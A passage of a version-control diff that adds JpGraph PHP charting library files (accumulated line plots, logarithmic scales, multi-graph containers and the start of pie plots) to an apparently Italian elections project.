+	$this->numpoints = $plots[0]->numpoints;
+
+	// Verify that all plots have the same number of data points
+	for( $i=1; $i < $this->nbrplots; ++$i ) {
+	    if( $plots[$i]->numpoints != $this->numpoints ) {
+		JpGraphError::RaiseL(10003);//('Each plot in an accumulated lineplot must have the same number of data points',0)
+	    }
+	} 
+
+	for($i=0; $i < $this->nbrplots; ++$i ) {
+	    $this->LineInterpolate($this->plots[$i]->coords[0]);
+	}	
+    }
+
+//---------------
+// PUBLIC METHODS	
+    function Legend($graph) {
+	foreach( $this->plots as $p )
+	    $p->DoLegend($graph);
+    }
+	
+    function Max() {
+	list($xmax) = $this->plots[0]->Max();
+	$nmax=0;
+	$n = count($this->plots);
+	for($i=0; $i < $n; ++$i) {
+	    $nc = count($this->plots[$i]->coords[0]);
+	    $nmax = max($nmax,$nc);
+	    list($x) = $this->plots[$i]->Max();
+	    $xmax = Max($xmax,$x);
+	}
+	for( $i = 0; $i < $nmax; $i++ ) {
+	    // Get y-value for line $i by adding the
+	    // individual bars from all the plots added.
+	    // It would be wrong to just add the
+	    // individual plots max y-value since that
+	    // would in most cases give to large y-value.
+	    $y=$this->plots[0]->coords[0][$i];
+	    for( $j = 1; $j < $this->nbrplots; $j++ ) {
+		$y += $this->plots[ $j ]->coords[0][$i];
+	    }
+	    $ymax[$i] = $y;
+	}
+	$ymax = max($ymax);
+	return array($xmax,$ymax);
+    }	
+
+    function Min() {
+	$nmax=0;
+	list($xmin,$ysetmin) = $this->plots[0]->Min();
+	$n = count($this->plots);
+	for($i=0; $i < $n; ++$i) {
+	    $nc = count($this->plots[$i]->coords[0]);
+	    $nmax = max($nmax,$nc);
+	    list($x,$y) = $this->plots[$i]->Min();
+	    $xmin = Min($xmin,$x);
+	    $ysetmin = Min($y,$ysetmin);
+	}
+	for( $i = 0; $i < $nmax; $i++ ) {
+	    // Get y-value for line $i by adding the
+	    // individual bars from all the plots added.
+	    // It would be wrong to just add the
+	    // individual plots min y-value since that
+	    // would in most cases give to small y-value.
+	    $y=$this->plots[0]->coords[0][$i];
+	    for( $j = 1; $j < $this->nbrplots; $j++ ) {
+		$y += $this->plots[ $j ]->coords[0][$i];
+	    }
+	    $ymin[$i] = $y;
+	}
+	$ymin = Min($ysetmin,Min($ymin));
+	return array($xmin,$ymin);
+    }
+
+    // Gets called before any axis are stroked
+    function PreStrokeAdjust($graph) {
+
+	// If another plot type have already adjusted the
+	// offset we don't touch it.
+	// (We check for empty in case the scale is  a log scale 
+	// and hence doesn't contain any xlabel_offset)
+	
+	if( empty($graph->xaxis->scale->ticks->xlabel_offset) ||
+	    $graph->xaxis->scale->ticks->xlabel_offset == 0 ) {
+	    if( $this->center ) {
+		++$this->numpoints;
+		$a=0.5; $b=0.5;
+	    } else {
+		$a=0; $b=0;
+	    }
+	    $graph->xaxis->scale->ticks->SetXLabelOffset($a);
+	    $graph->SetTextScaleOff($b);						
+	    $graph->xaxis->scale->ticks->SupressMinorTickMarks();
+	}
+	
+    }
+
+    function SetInterpolateMode($aIntMode) {
+	$this->iStartEndZero=$aIntMode;
+    }
+
+    // Replace all '-' with an interpolated value. We use straightforward
+    // linear interpolation. If the data starts with one or several '-' they
+    // will be replaced by the the first valid data point
+    function LineInterpolate(&$aData) {
+
+	$n=count($aData);
+	$i=0;
+    
+	// If first point is undefined we will set it to the same as the first 
+	// valid data
+	if( $aData[$i]==='-' ) {
+	    // Find the first valid data
+	    while( $i < $n && $aData[$i]==='-' ) {
+		++$i;
+	    }
+	    if( $i < $n ) {
+		for($j=0; $j < $i; ++$j ) {
+		    if( $this->iStartEndZero )
+			$aData[$i] = 0;
+		    else
+			$aData[$j] = $aData[$i];
+		}
+	    }
+	    else {
+		// All '-' => Error
+		return false;
+	    }
+	}
+
+	while($i < $n) {
+	    while( $i < $n && $aData[$i] !== '-' ) {
+		++$i;
+	    }
+	    if( $i < $n ) {
+		$pstart=$i-1;
+
+		// Now see how long this segment of '-' are
+		while( $i < $n && $aData[$i] === '-' )
+		    ++$i;
+		if( $i < $n ) {
+		    $pend=$i;
+		    $size=$pend-$pstart;
+		    $k=($aData[$pend]-$aData[$pstart])/$size;
+		    // Replace the segment of '-' with a linear interpolated value.
+		    for($j=1; $j < $size; ++$j ) {
+			$aData[$pstart+$j] = $aData[$pstart] + $j*$k ;
+		    }
+		}
+		else {
+		    // There are no valid end point. The '-' goes all the way to the end
+		    // In that case we just set all the remaining values the the same as the
+		    // last valid data point.
+		    for( $j=$pstart+1; $j < $n; ++$j ) 
+			if( $this->iStartEndZero )
+			    $aData[$j] = 0;
+			else
+			    $aData[$j] = $aData[$pstart] ;		
+		}
+	    }
+	}
+	return true;
+    }
+
+
+
+    // To avoid duplicate of line drawing code here we just
+    // change the y-values for each plot and then restore it
+    // after we have made the stroke. We must do this copy since
+    // it wouldn't be possible to create an acc line plot
+    // with the same graphs, i.e AccLinePlot(array($pl,$pl,$pl));
+    // since this method would have a side effect.
+    function Stroke($img,$xscale,$yscale) {
+	$img->SetLineWeight($this->weight);
+	$this->numpoints = count($this->plots[0]->coords[0]);
+	// Allocate array
+	$coords[$this->nbrplots][$this->numpoints]=0;
+	for($i=0; $i<$this->numpoints; $i++) {
+	    $coords[0][$i]=$this->plots[0]->coords[0][$i]; 
+	    $accy=$coords[0][$i];
+	    for($j=1; $j<$this->nbrplots; ++$j ) {
+		$coords[$j][$i] = $this->plots[$j]->coords[0][$i]+$accy; 
+		$accy = $coords[$j][$i];
+	    }
+	}
+	for($j=$this->nbrplots-1; $j>=0; --$j) {
+	    $p=$this->plots[$j];
+	    for( $i=0; $i<$this->numpoints; ++$i) {
+		$tmp[$i]=$p->coords[0][$i];
+		$p->coords[0][$i]=$coords[$j][$i];
+	    }
+	    $p->Stroke($img,$xscale,$yscale);
+	    for( $i=0; $i<$this->numpoints; ++$i) 
+		$p->coords[0][$i]=$tmp[$i];
+	    $p->coords[0][]=$tmp;
+	}
+    }
+} // Class
+
+
+/* EOF */
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_log.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_log.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_log.php	(revision 44)
@@ -0,0 +1,283 @@
+<?php
+/*=======================================================================
+// File: 	JPGRAPH_LOG.PHP
+// Description:	Log scale plot extension for JpGraph
+// Created: 	2001-01-08
+// Ver:		$Id: jpgraph_log.php 957 2007-12-01 14:00:29Z ljp $
+//
+// Copyright (c) Aditus Consulting. All rights reserved.
+//========================================================================
+*/
+
+DEFINE('LOGLABELS_PLAIN',0);
+DEFINE('LOGLABELS_MAGNITUDE',1);
+
+//===================================================
+// CLASS LogScale
+// Description: Logarithmic scale between world and screen
+//===================================================
+class LogScale extends LinearScale {
+//---------------
+// CONSTRUCTOR
+
+    // Log scale is specified using the log of min and max
+    function LogScale($min,$max,$type="y") {
+	$this->LinearScale($min,$max,$type);
+	$this->ticks = new LogTicks();
+	$this->name = 'log';
+    }
+
+//----------------
+// PUBLIC METHODS	
+
+    // Translate between world and screen
+    function Translate($a) {
+	if( !is_numeric($a) ) {
+	    if( $a != '' && $a != '-' && $a != 'x' ) 
+		JpGraphError::RaiseL(11001);
+//('Your data contains non-numeric values.');
+	    return 1;
+	}
+	if( $a < 0 ) {
+	    JpGraphError::RaiseL(11002);
+//("Negative data values can not be used in a log scale.");
+	    exit(1);
+	}
+	if( $a==0 ) $a=1;
+	$a=log10($a);
+	return ceil($this->off + ($a*1.0 - $this->scale[0]) * $this->scale_factor); 
+    }
+
+    // Relative translate (don't include offset) usefull when we just want
+    // to know the relative position (in pixels) on the axis	
+    function RelTranslate($a) {
+	if( !is_numeric($a) ) {
+	    if( $a != '' && $a != '-' && $a != 'x' ) 
+		JpGraphError::RaiseL(11001);
+//('Your data contains non-numeric values.');
+	    return 1;
+	}
+	if( $a==0 ) $a=1;
+	$a=log10($a);
+	return round(($a*1.0 - $this->scale[0]) * $this->scale_factor); 
+    }
+		
+    // Use bcpow() for increased precision
+    function GetMinVal() {
+	if( function_exists("bcpow") )
+	    return round(bcpow(10,$this->scale[0],15),14);
+	else
+	    return round(pow(10,$this->scale[0]),14);
+    }
+	
+    function GetMaxVal() {
+	if( function_exists("bcpow") )
+	    return round(bcpow(10,$this->scale[1],15),14);
+	else
+	    return round(pow(10,$this->scale[1]),14);
+    }
+	
+    // Logarithmic autoscaling is much simplier since we just
+    // set the min and max to logs of the min and max values.
+    // Note that for log autoscale the "maxstep" the fourth argument
+    // isn't used. This is just included to give the method the same
+    // signature as the linear counterpart.
+    function AutoScale($img,$min,$max,$maxsteps,$majend=true) {
+	if( $min==0 ) $min=1;
+	
+	if( $max <= 0 ) {
+	    JpGraphError::RaiseL(11004);
+//('Scale error for logarithmic scale. You have a problem with your data values. The max value must be greater than 0. It is mathematically impossible to have 0 in a logarithmic scale.');
+	}
+	if( is_numeric($this->autoscale_min) ) {
+	    $smin = round($this->autoscale_min);
+	    $smax = ceil(log10($max));
+	    if( $min >= $max ) {
+		JpGraphError::RaiseL(25071);//('You have specified a min value with SetAutoMin() which is larger than the maximum value used for the scale. This is not possible.');
+	    }
+	}
+	else {
+	    $smin = floor(log10($min));
+	    if( is_numeric($this->autoscale_max) ) {
+		$smax = round($this->autoscale_max);
+		if( $smin >= $smax ) {
+		    JpGraphError::RaiseL(25072);//('You have specified a max value with SetAutoMax() which is smaller than the miminum value used for the scale. This is not possible.');
+		}
+	    }
+	    else
+		$smax = ceil(log10($max));
+	}
+
+	$this->Update($img,$smin,$smax);					
+    }
+//---------------
+// PRIVATE METHODS	
+} // Class
+
+//===================================================
+// CLASS LogTicks
+// Description: 
+//===================================================
+class LogTicks extends Ticks{
+    private $label_logtype=LOGLABELS_MAGNITUDE;
+    private $ticklabels_pos = array();
+//---------------
+// CONSTRUCTOR
+    function LogTicks() {
+    }
+//---------------
+// PUBLIC METHODS	
+    function IsSpecified() {
+	return true;
+    }
+
+    function SetLabelLogType($aType) {
+	$this->label_logtype = $aType;
+    }
+	
+    // For log scale it's meaningless to speak about a major step
+    // We just return -1 to make the framework happy (specifically
+    // StrokeLabels() )
+    function GetMajor() {
+	return -1;
+    }
+
+    function SetTextLabelStart($aStart) {
+	JpGraphError::RaiseL(11005);
+//('Specifying tick interval for a logarithmic scale is undefined. Remove any calls to SetTextLabelStart() or SetTextTickInterval() on the logarithmic scale.');
+    }
+
+    function SetXLabelOffset($dummy) {
+	// For log scales we dont care about XLabel offset
+    }
+
+    // Draw ticks on image "img" using scale "scale". The axis absolute
+    // position in the image is specified in pos, i.e. for an x-axis
+    // it specifies the absolute y-coord and for Y-ticks it specified the
+    // absolute x-position.
+    function Stroke($img,$scale,$pos) {
+	$start = $scale->GetMinVal();
+	$limit = $scale->GetMaxVal();
+	$nextMajor = 10*$start;
+	$step = $nextMajor / 10.0;
+		
+		
+	$img->SetLineWeight($this->weight);			
+		
+	if( $scale->type == "y" ) {
+	    // member direction specified if the ticks should be on
+	    // left or right side.
+	    $a=$pos + $this->direction*$this->GetMinTickAbsSize();
+	    $a2=$pos + $this->direction*$this->GetMajTickAbsSize();	
+			
+	    $count=1; 
+	    $this->maj_ticks_pos[0]=$scale->Translate($start);
+	    $this->maj_ticklabels_pos[0]=$scale->Translate($start);
+	    if( $this->supress_first )
+		$this->maj_ticks_label[0]="";
+	    else {
+		if( $this->label_formfunc != '' ) {
+		    $f = $this->label_formfunc;
+		    $this->maj_ticks_label[0]=call_user_func($f,$start);	
+		}
+		elseif( $this->label_logtype == LOGLABELS_PLAIN )
+		    $this->maj_ticks_label[0]=$start;	
+		else
+		    $this->maj_ticks_label[0]='10^'.round(log10($start));
+	    }
+	    $i=1;
+	    for($y=$start; $y<=$limit; $y+=$step,++$count  ) {
+		$ys=$scale->Translate($y);	
+		$this->ticks_pos[]=$ys;
+		$this->ticklabels_pos[]=$ys;
+		if( $count % 10 == 0 ) {
+		    if( !$this->supress_tickmarks ) {
+			if( $this->majcolor!="" ) {
+			    $img->PushColor($this->majcolor);
+			    $img->Line($pos,$ys,$a2,$ys);
+			    $img->PopColor();
+			}
+			else
+			    $img->Line($pos,$ys,$a2,$ys);
+		    }
+
+		    $this->maj_ticks_pos[$i]=$ys;
+		    $this->maj_ticklabels_pos[$i]=$ys;
+		    
+		    if( $this->label_formfunc != '' ) {
+			$f = $this->label_formfunc;
+			$this->maj_ticks_label[$i]=call_user_func($f,$nextMajor);	
+		    }
+		    elseif( $this->label_logtype == 0 )
+			$this->maj_ticks_label[$i]=$nextMajor;	
+		    else
+			$this->maj_ticks_label[$i]='10^'.round(log10($nextMajor));
+		    ++$i;						
+		    $nextMajor *= 10;
+		    $step *= 10;	
+		    $count=1; 				
+		}
+		else {
+		    if( !$this->supress_tickmarks && !$this->supress_minor_tickmarks) {
+			if( $this->mincolor!="" ) $img->PushColor($this->mincolor);
+			$img->Line($pos,$ys,$a,$ys);		
+			if( $this->mincolor!="" ) $img->PopColor();
+		    }
+		}
+	    }		
+	}
+	else {
+	    $a=$pos - $this->direction*$this->GetMinTickAbsSize();
+	    $a2=$pos - $this->direction*$this->GetMajTickAbsSize();	
+	    $count=1; 
+	    $this->maj_ticks_pos[0]=$scale->Translate($start);
+	    $this->maj_ticklabels_pos[0]=$scale->Translate($start);
+	    if( $this->supress_first )
+		$this->maj_ticks_label[0]="";
+	    else {
+		if( $this->label_formfunc != '' ) {
+		    $f = $this->label_formfunc;
+		    $this->maj_ticks_label[0]=call_user_func($f,$start);	
+		}
+		elseif( $this->label_logtype == 0 )
+		    $this->maj_ticks_label[0]=$start;	
+		else
+		    $this->maj_ticks_label[0]='10^'.round(log10($start));
+	    }
+	    $i=1;			
+	    for($x=$start; $x<=$limit; $x+=$step,++$count  ) {
+		$xs=$scale->Translate($x);	
+		$this->ticks_pos[]=$xs;
+		$this->ticklabels_pos[]=$xs;
+		if( $count % 10 == 0 ) {
+		    if( !$this->supress_tickmarks ) {
+			$img->Line($xs,$pos,$xs,$a2);
+		    }
+		    $this->maj_ticks_pos[$i]=$xs;
+		    $this->maj_ticklabels_pos[$i]=$xs;
+
+		    if( $this->label_formfunc != '' ) {
+			$f = $this->label_formfunc;
+			$this->maj_ticks_label[$i]=call_user_func($f,$nextMajor);	
+		    }
+		    elseif( $this->label_logtype == 0 )
+			$this->maj_ticks_label[$i]=$nextMajor;	
+		    else
+			$this->maj_ticks_label[$i]='10^'.round(log10($nextMajor));
+		    ++$i;
+		    $nextMajor *= 10;
+		    $step *= 10;	
+		    $count=1; 				
+		}
+		else {
+		    if( !$this->supress_tickmarks && !$this->supress_minor_tickmarks) {
+			$img->Line($xs,$pos,$xs,$a);		
+		    }
+		}
+	    }		
+	}
+	return true;
+    }
+} // Class
+/* EOF */
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_mgraph.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_mgraph.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_mgraph.php	(revision 44)
@@ -0,0 +1,392 @@
+<?php
+/*=======================================================================
+// File: 	JPGRAPH_MGRAPH.PHP
+// Description: Class to handle multiple graphs in the same image
+// Created: 	2006-01-15
+// Ver:		$Id: jpgraph_mgraph.php 1012 2008-06-23 15:02:15Z ljp $
+//
+// Copyright (c) Aditus Consulting. All rights reserved.
+//========================================================================
+*/
+
+//=============================================================================
+// CLASS MGraph
+// Description: Create a container image that can hold several graph 
+//=============================================================================
+class MGraph {
+
+    protected $img=NULL;
+    protected $iCnt=0,$iGraphs = array(); // image_handle, x, y, fx, fy, sizex, sizey
+    protected $iFillColor='white', $iCurrentColor=0;
+    protected $lm=0,$rm=0,$tm=0,$bm=0;
+    protected $iDoFrame = FALSE, $iFrameColor = 'black', $iFrameWeight = 1;
+    protected $iLineWeight = 1;
+    protected $expired=false;
+    protected $img_format='png',$image_quality=75;
+    protected $iWidth=NULL,$iHeight=NULL;
+    protected $background_image='',$background_image_center=true,
+	$backround_image_format='',$background_image_mix=100,
+	$background_image_y=NULL, $background_image_x=NULL;
+
+    // Create a new instane of the combined graph
+    function MGraph($aWidth=NULL,$aHeight=NULL) {
+	$this->iWidth = $aWidth;
+	$this->iHeight = $aHeight;
+    }
+
+    // Specify background fill color for the combined graph
+    function SetFillColor($aColor) {
+	$this->iFillColor = $aColor;
+    }
+
+    // Add a frame around the combined graph
+    function SetFrame($aFlg,$aColor='black',$aWeight=1) {
+	$this->iDoFrame = $aFlg;
+	$this->iFrameColor = $aColor;
+	$this->iFrameWeight = $aWeight;
+    }
+
+    // Specify a background image blend    
+    function SetBackgroundImageMix($aMix) {
+	$this->background_image_mix = $aMix ;
+    }
+
+    // Specify a background image
+    function SetBackgroundImage($aFileName,$aCenter_aX=NULL,$aY=NULL) {
+	// Second argument can be either a boolean value or 
+	// a numeric
+	$aCenter=TRUE;
+	$aX=NULL;
+
+	if( $GLOBALS['gd2'] && !USE_TRUECOLOR ) {
+	    JpGraphError::RaiseL(12001);
+//("You are using GD 2.x and are trying to use a background images on a non truecolor image. To use background images with GD 2.x you <b>must</b> enable truecolor by setting the USE_TRUECOLOR constant to TRUE. Due to a bug in GD 2.0.1 using any truetype fonts with truecolor images will result in very poor quality fonts.");
+	}
+	if( is_numeric($aCenter_aX) ) {
+	    $aX=$aCenter_aX;
+	}
+
+	// Get extension to determine image type
+	$e = explode('.',$aFileName);
+	if( !$e ) {
+	    JpGraphError::RaiseL(12002,$aFileName);
+//('Incorrect file name for MGraph::SetBackgroundImage() : '.$aFileName.' Must have a valid image extension (jpg,gif,png) when using autodetection of image type');
+	}
+	
+	$valid_formats = array('png', 'jpg', 'gif');
+	$aImgFormat = strtolower($e[count($e)-1]);
+	if ($aImgFormat == 'jpeg')  {
+	    $aImgFormat = 'jpg';
+	}
+	elseif (!in_array($aImgFormat, $valid_formats) )  {
+	    JpGraphError::RaiseL(12003,$aImgFormat,$aFileName);
+//('Unknown file extension ($aImgFormat) in MGraph::SetBackgroundImage() for filename: '.$aFileName);
+	}    
+
+	$this->background_image = $aFileName;
+	$this->background_image_center=$aCenter;
+	$this->background_image_format=$aImgFormat;
+	$this->background_image_x = $aX;
+	$this->background_image_y = $aY;
+    }
+
+
+    // Private helper function for backgound image
+    function _loadBkgImage($aFile='') {
+	if( $aFile == '' )
+	    $aFile = $this->background_image;
+
+	// Remove case sensitivity and setup appropriate function to create image
+	// Get file extension. This should be the LAST '.' separated part of the filename
+	$e = explode('.',$aFile);
+	$ext = strtolower($e[count($e)-1]);
+	if ($ext == "jpeg")  {
+	    $ext = "jpg";
+	}
+	
+	if( trim($ext) == '' ) 
+	    $ext = 'png';  // Assume PNG if no extension specified
+
+	$supported = imagetypes();
+	if( ( $ext == 'jpg' && !($supported & IMG_JPG) ) ||
+	    ( $ext == 'gif' && !($supported & IMG_GIF) ) ||
+	    ( $ext == 'png' && !($supported & IMG_PNG) ) ) {
+	    JpGraphError::RaiseL(12004,$aFile);//('The image format of your background image ('.$aFile.') is not supported in your system configuration. ');
+	}
+
+	if( $ext == "jpg" || $ext == "jpeg") {
+	    $f = "imagecreatefromjpeg";
+	    $ext = "jpg";
+	}
+	else {
+	    $f = "imagecreatefrom".$ext;
+	}
+
+	$img = @$f($aFile);
+	if( !$img ) {
+	    JpGraphError::RaiseL(12005,$aFile);
+//(" Can't read background image: '".$aFile."'");   
+	}
+	return $img;
+    }	
+
+    function _strokeBackgroundImage() {
+	if( $this->background_image == '' ) 
+	    return;
+
+	$bkgimg = $this->_loadBkgImage();
+	// Background width & Heoght
+	$bw = imagesx($bkgimg);
+	$bh = imagesy($bkgimg);
+	// Canvas width and height
+	$cw = imagesx($this->img);
+	$ch = imagesy($this->img);
+
+	if( $this->background_image_x === NULL || $this->background_image_y === NULL ) {
+	    if( $this->background_image_center ) {
+		// Center original image in the plot area
+		$x = round($cw/2-$bw/2); $y = round($ch/2-$bh/2);
+	    }
+	    else {
+		// Just copy the image from left corner, no resizing
+		$x=0; $y=0;
+	    }			
+	}
+	else {
+	    $x = $this->background_image_x;
+	    $y = $this->background_image_y;
+	}
+	$this->_imageCp($bkgimg,$x,$y,0,0,$bw,$bh,$this->background_image_mix);
+    }
+
+    function _imageCp($aSrcImg,$x,$y,$fx,$fy,$w,$h,$mix=100) {
+	imagecopymerge($this->img,$aSrcImg,$x,$y,$fx,$fy,$w,$h,$mix);
+    }
+
+    function _imageCreate($aWidth,$aHeight) {
+	if( $aWidth <= 1 || $aHeight <= 1 ) {
+	    JpGraphError::RaiseL(12006,$aWidth,$aHeight);
+//("Illegal sizes specified for width or height when creating an image, (width=$aWidth, height=$aHeight)");
+	}
+	if( @$GLOBALS['gd2']==true && USE_TRUECOLOR ) {
+	    $this->img = @imagecreatetruecolor($aWidth, $aHeight);
+	    if( $this->img < 1 ) {
+		JpGraphError::RaiseL(12011);
+// die("<b>JpGraph Error:</b> Can't create truecolor image. Check that you really have GD2 library installed.");
+	    }
+	    ImageAlphaBlending($this->img,true);
+	} else {
+	    $this->img = @imagecreate($aWidth, $aHeight);	
+	    if( $this->img < 1 ) {
+		JpGraphError::RaiseL(12012);
+// die("<b>JpGraph Error:</b> Can't create image. Check that you really have the GD library installed.");
+	    }
+	}
+    }
+
+    function _polygon($p,$closed=FALSE) {
+	if( $this->iLineWeight==0 ) return;
+	$n=count($p);
+	$oldx = $p[0];
+	$oldy = $p[1];
+	for( $i=2; $i < $n; $i+=2 ) {
+	    imageline($this->img,$oldx,$oldy,$p[$i],$p[$i+1],$this->iCurrentColor);
+	    $oldx = $p[$i];
+	    $oldy = $p[$i+1];
+	}
+	if( $closed ) {
+	    imageline($this->img,$p[$n*2-2],$p[$n*2-1],$p[0],$p[1],$this->iCurrentColor);
+	}
+    }
+
+    function _filledPolygon($pts) {
+	$n=count($pts);
+	for($i=0; $i < $n; ++$i) 
+	    $pts[$i] = round($pts[$i]);
+	imagefilledpolygon($this->img,$pts,count($pts)/2,$this->iCurrentColor);
+    }
+	
+    function _rectangle($xl,$yu,$xr,$yl) {
+	for($i=0; $i < $this->iLineWeight; ++$i ) 
+	    $this->_polygon(array($xl+$i,$yu+$i,$xr-$i,$yu+$i,
+				  $xr-$i,$yl-$i,$xl+$i,$yl-$i,
+				  $xl+$i,$yu+$i));
+    }
+	
+    function _filledRectangle($xl,$yu,$xr,$yl) {
+	$this->_filledPolygon(array($xl,$yu,$xr,$yu,$xr,$yl,$xl,$yl));
+    }
+
+    function _setColor($aColor) {
+	$this->iCurrentColor = $this->iRGB->Allocate($aColor);
+    }
+
+    function AddMix($aGraph,$x=0,$y=0,$mix=100,$fx=0,$fy=0,$w=0,$h=0) {
+	$this->_gdImgHandle($aGraph->Stroke( _IMG_HANDLER),$x,$y,$fx=0,$fy=0,$w,$h,$mix);
+    }
+    
+    function Add($aGraph,$x=0,$y=0,$fx=0,$fy=0,$w=0,$h=0) {
+	$this->_gdImgHandle($aGraph->Stroke( _IMG_HANDLER),$x,$y,$fx=0,$fy=0,$w,$h);
+    }
+
+    function _gdImgHandle($agdCanvas,$x,$y,$fx=0,$fy=0,$w=0,$h=0,$mix=100) {
+	if( $w == 0 )  $w = @imagesx($agdCanvas);
+	if( $w === NULL ) {
+	    JpGraphError::RaiseL(12007);
+//('Argument to MGraph::Add() is not a valid GD image handle.');
+	    return;
+	}
+	if( $h == 0 )  $h = @imagesy($agdCanvas);
+	$this->iGraphs[$this->iCnt++] = array($agdCanvas,$x,$y,$fx,$fy,$w,$h,$mix);
+    }
+
+    function SetMargin($lm,$rm,$tm,$bm) {
+	$this->lm = $lm;
+	$this->rm = $rm;
+	$this->tm = $tm;
+	$this->bm = $bm;
+    }
+
+    function SetExpired($aFlg=true) {
+	$this->expired = $aFlg;
+    }
+
+    // Generate image header
+    function Headers() {
+	
+	// In case we are running from the command line with the client version of
+	// PHP we can't send any headers.
+	$sapi = php_sapi_name();
+	if( $sapi == 'cli' )
+	    return;
+	
+	if( headers_sent() ) {
+	    
+	    echo "<table border=1><tr><td><font color=darkred size=4><b>JpGraph Error:</b> 
+HTTP headers have already been sent.</font></td></tr><tr><td><b>Explanation:</b><br>HTTP headers have already been sent back to the browser indicating the data as text before the library got a chance to send it's image HTTP header to this browser. This makes it impossible for the library to send back image data to the browser (since that would be interpretated as text by the browser and show up as junk text).<p>Most likely you have some text in your script before the call to <i>Graph::Stroke()</i>. If this texts gets sent back to the browser the browser will assume that all data is plain text. Look for any text, even spaces and newlines, that might have been sent back to the browser. <p>For example it is a common mistake to leave a blank line before the opening \"<b>&lt;?php</b>\".</td></tr></table>";
+
+	die();
+
+	}	
+	
+	if ($this->expired) {
+	    header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
+	    header("Last-Modified: " . gmdate("D, d M Y H:i:s") . "GMT");
+	    header("Cache-Control: no-cache, must-revalidate");
+	    header("Pragma: no-cache");
+	}
+	header("Content-type: image/$this->img_format");
+    }
+
+    function SetImgFormat($aFormat,$aQuality=75) {
+	$this->image_quality = $aQuality;
+	$aFormat = strtolower($aFormat);
+	$tst = true;
+	$supported = imagetypes();
+	if( $aFormat=="auto" ) {
+	    if( $supported & IMG_PNG )
+		$this->img_format="png";
+	    elseif( $supported & IMG_JPG )
+		$this->img_format="jpeg";
+	    elseif( $supported & IMG_GIF )
+		$this->img_format="gif";
+	    else
+		JpGraphError::RaiseL(12008);
+//(" Your PHP (and GD-lib) installation does not appear to support any known graphic formats.".
+	    return true;
+	}
+	else {
+	    if( $aFormat=="jpeg" || $aFormat=="png" || $aFormat=="gif" ) {
+		if( $aFormat=="jpeg" && !($supported & IMG_JPG) )
+		    $tst=false;
+		elseif( $aFormat=="png" && !($supported & IMG_PNG) ) 
+		    $tst=false;
+		elseif( $aFormat=="gif" && !($supported & IMG_GIF) ) 	
+		    $tst=false;
+		else {
+		    $this->img_format=$aFormat;
+		    return true;
+		}
+	    }
+	    else 
+		$tst=false;
+	    if( !$tst )
+		JpGraphError::RaiseL(12009,$aFormat);
+//(" Your PHP installation does not support the chosen graphic format: $aFormat");
+	}
+    }
+
+    // Stream image to browser or to file
+    function Stream($aFile="") {
+	$func="image".$this->img_format;
+	if( $this->img_format=="jpeg" && $this->image_quality != null ) {
+	    $res = @$func($this->img,$aFile,$this->image_quality);
+	}
+	else {
+	    if( $aFile != "" ) {
+		$res = @$func($this->img,$aFile);
+	    }
+	    else
+		$res = @$func($this->img);
+	}
+	if( !$res )
+	    JpGraphError::RaiseL(12010,$aFile);
+//("Can't create or stream image to file $aFile Check that PHP has enough permission to write a file to the current directory.");
+    }
+
+    function Stroke($aFileName='') {
+	// Find out the necessary size for the container image
+	$w=0; $h=0;
+	for($i=0; $i < $this->iCnt; ++$i ) {
+	    $maxw = $this->iGraphs[$i][1]+$this->iGraphs[$i][5];
+	    $maxh = $this->iGraphs[$i][2]+$this->iGraphs[$i][6];
+	    $w = max( $w, $maxw );
+	    $h = max( $h, $maxh );
+	}
+	$w += $this->lm+$this->rm;
+	$h += $this->tm+$this->bm;
+
+	// User specified width,height overrides
+	if( $this->iWidth !== NULL ) $w = $this->iWidth;
+	if( $this->iHeight!== NULL ) $h = $this->iHeight;
+
+	$this->_imageCreate($w,$h);
+	$this->iRGB = new RGB($this->img);
+
+	$this->_setcolor($this->iFillColor);
+	$this->_filledRectangle(0,0,$w-1,$h-1);
+
+	$this->_strokeBackgroundImage();
+
+	if( $this->iDoFrame ) {
+	    $this->_setColor($this->iFrameColor);
+	    $this->iLineWeight=$this->iFrameWeight;
+	    $this->_rectangle(0,0,$w-1,$h-1);
+	}
+
+	// Copy all sub graphs to the container
+	for($i=0; $i < $this->iCnt; ++$i ) {
+	    $this->_imageCp($this->iGraphs[$i][0],
+			    $this->iGraphs[$i][1]+$this->lm,$this->iGraphs[$i][2]+$this->tm,
+			    $this->iGraphs[$i][3],$this->iGraphs[$i][4],
+			    $this->iGraphs[$i][5],$this->iGraphs[$i][6],
+			    $this->iGraphs[$i][7]);
+	}
+
+	// Output image
+	if( $aFileName == _IMG_HANDLER ) {
+	    return $this->img;
+	}
+	else {
+	    if( $aFileName != '' ) {
+		$this->Stream($aFileName);
+	    }
+	    else {
+		$this->Headers();
+		$this->Stream();
+	    }
+	}
+    }
+}
+
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_pie.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_pie.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_pie.php	(revision 44)
@@ -0,0 +1,1449 @@
+<?php
+/*=======================================================================
+// File:	JPGRAPH_PIE.PHP
+// Description:	Pie plot extension for JpGraph
+// Created: 	2001-02-14
+// Ver:		$Id: jpgraph_pie.php 1091 2009-01-18 22:57:40Z ljp $
+//
+// Copyright (c) Aditus Consulting. All rights reserved.
+//========================================================================
+*/
+
+
+// Defines for PiePlot::SetLabelType()
+define("PIE_VALUE_ABS",1);
+define("PIE_VALUE_PER",0);
+define("PIE_VALUE_PERCENTAGE",0);
+define("PIE_VALUE_ADJPERCENTAGE",2);
+define("PIE_VALUE_ADJPER",2);
+
+//===================================================
+// CLASS PiePlot
+// Description: Draws a pie plot
+//===================================================
+class PiePlot {
+    public $posx=0.5,$posy=0.5;
+    protected $radius=0.3;
+    protected $explode_radius=array(),$explode_all=false,$explode_r=20;
+    protected $labels=null, $legends=null;
+    protected $csimtargets=null,$csimwintargets=null;  // Array of targets for CSIM
+    protected $csimareas='';		// Generated CSIM text	
+    protected $csimalts=null;		// ALT tags for corresponding target
+    protected $data=null;
+    public $title;
+    protected $startangle=0;
